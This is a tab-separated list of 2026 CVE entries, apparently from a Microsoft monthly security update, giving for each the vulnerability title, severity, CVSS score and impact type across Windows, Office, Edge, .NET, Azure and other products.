CVE-2026-54127	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	7.4	No	No	EoP
CVE-2026-50680	Windows Hyper-V Elevation of Privilege Vulnerability	Critical	8.2	No	No	EoP
CVE-2026-50327	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58542	Windows Media Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-58608	Windows Print Spooler Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54982	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54995	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-42982	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7.8	No	No	EoP
CVE-2026-50392	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Critical	7	No	No	EoP
CVE-2026-50694	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50444	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-54999	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-47302	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50525	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50651	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57108	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50524	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50527	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50648	.NET Framework Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50650	.NET Framework Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50646	.NET Framework Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50649	.NET Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47304	.NET Security Feature Bypass Vulnerability	Important	8.1	No	No	SFB
CVE-2026-50528	.NET Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-50659	.NET Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-50526	.NET Tampering Vulnerability	Important	7	No	No	Tampering
CVE-2026-50682	Active Directory Denial of Service Vulnerability	Important	7.1	No	No	DoS
CVE-2026-55001	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50647	Active Directory Federation Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50684	Active Directory Federation Server Spoofing Vulnerability	Important	4.8	No	No	Spoofing
CVE-2026-56170	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-47300	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-47303	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50652	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50653	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57969	Azure CycleCloud Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58279	Azure CycleCloud Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-47632	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50338	Azure Spring Apps Elevation of Privilege Vulnerability	Important	8.2	No	No	EoP
CVE-2026-50488	Clipboard User Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50491	Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50381	Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50427	Content Delivery Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50692	Desktop Window Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58633	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58634	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50296	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50375	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-50353	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50493	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56643	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56644	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58629	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49174	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-50495	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-57088	Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50663	Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-47282	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-50510	GitHub Copilot Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49787	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50420	HTTP.sys Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49788	HTTP/2 Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50696	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58617	M365 Copilot for iOS Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-58595	Microsoft Bing App for IOS Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-49162	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50305	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50361	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50466	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50458	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50658	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56178	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50657	Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50329	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58541	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58596	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-57991	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	7.4	No	No	Info
CVE-2026-58291	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57981	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57984	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57985	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.6	No	No	RCE
CVE-2026-57986	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57988	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.1	No	No	RCE
CVE-2026-57992	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58276	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-56645	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57974	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57975	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58281	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58284	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58285	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58287	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58288	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58289	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	9	No	No	RCE
CVE-2026-58290	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58292	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58293	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58294	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57983	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-58295	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.3	No	No	SFB
CVE-2026-58525	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-57987	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-58278	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-56646	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-57977	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-57993	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.4	No	No	Spoofing
CVE-2026-58282	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58283	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58286	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58298	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.2	No	No	Spoofing
CVE-2026-58524	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-58296	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58297	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58300	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-58522	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-58299	Microsoft Edge for Android Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58523	Microsoft Edge for Android Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-50678	Microsoft Excel Information Disclosure Vulnerability	Important	6.6	No	No	Info
CVE-2026-54988	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-48580	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50408	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55046	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55138	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55054	Microsoft Excel Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55122	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55898	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-50675	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55899	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55948	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58618	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47642	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55024	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55025	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55031	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55048	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55029	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55039	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55136	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55141	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55036	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55044	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55037	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55058	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55137	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55053	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-54131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55947	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55949	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56156	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55006	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55009	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55005	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56642	Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-50343	Microsoft Install Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50439	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58537	Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56193	Microsoft Office Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55023	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55026	Microsoft Office Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-55027	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55028	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55047	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55035	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55057	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55121	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55042	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55139	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50665	Microsoft Office Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-56192	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56195	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-47290	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50301	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55017	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55125	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55133	Microsoft OneNote Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58636	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50438	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58647	Microsoft PowerBI Report Server Spoofing Vulnerability	Important	8	No	No	Spoofing
CVE-2026-55052	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58277	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-55051	Microsoft SharePoint Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54108	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-55016	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55019	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55020	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55021	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55030	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55034	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55126	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55135	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-56157	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-47296	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55002	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-47295	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50468	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54116	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-42900	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-49784	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50356	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49165	Microsoft Windows App Store Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54993	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58610	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55050	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55124	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55142	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55032	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55055	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55038	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55134	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55128	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55130	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50359	Microsoft XML Core Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-57097	Microsoft XML Security Feature Bypass Vulnerability	Important	6.4	No	No	SFB
CVE-2026-50346	Netlogon RPC Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50402	NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50506	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-45646	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-54989	Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50365	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-54990	Remote Desktop Client Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-58594	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-49783	Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Important	9.8	No	No	EoP
CVE-2026-49168	Storage Spaces Direct Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-48581	Surface Broker SDMA Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49180	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50455	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54111	Universal Print Management Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58543	Universal Print Management Service Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58601	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Important	7.8	No	No	EoP
CVE-2026-50520	Visual Studio Code Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-45496	Visual Studio Code Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-57101	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	SFB
CVE-2026-57102	Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-47305	Visual Studio Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49805	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50297	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50325	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50489	Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57095	Win32k Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-50416	Win32k Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-56184	Win32k Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50432	Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-54119	Windows Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57976	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50366	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-49178	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-58529	Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54983	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50695	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50304	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50368	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50324	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-50355	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50411	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58631	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56196	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56197	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56169	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-57107	Windows Admin Center Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56185	Windows Admin Center Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50312	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-50462	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57093	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34346	Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-48572	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-48571	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50400	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50331	Windows Application Model Core API Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49803	Windows AppX Deployment Extensions Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50351	Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50440	Windows Audio Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34328	Windows Audio Service Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50406	Windows Backup Engine Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50364	Windows Backup Service Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-42975	Windows Bluetooth Port Driver Remote Code Execution	Important	8	No	No	RCE
CVE-2026-58538	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58638	Windows Boot Loader Security Feature Bypass Vulnerability	Important	6	No	No	SFB
CVE-2026-58637	Windows Client-Side Caching Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50384	Windows Clip Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49183	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50689	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50374	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58536	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58613	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50401	Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50697	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50667	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50421	Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50428	Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-50352	Windows Cryptographic Services Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50302	Windows Cryptographic Services Security Feature Bypass Vulnerability	Important	4.2	No	No	SFB
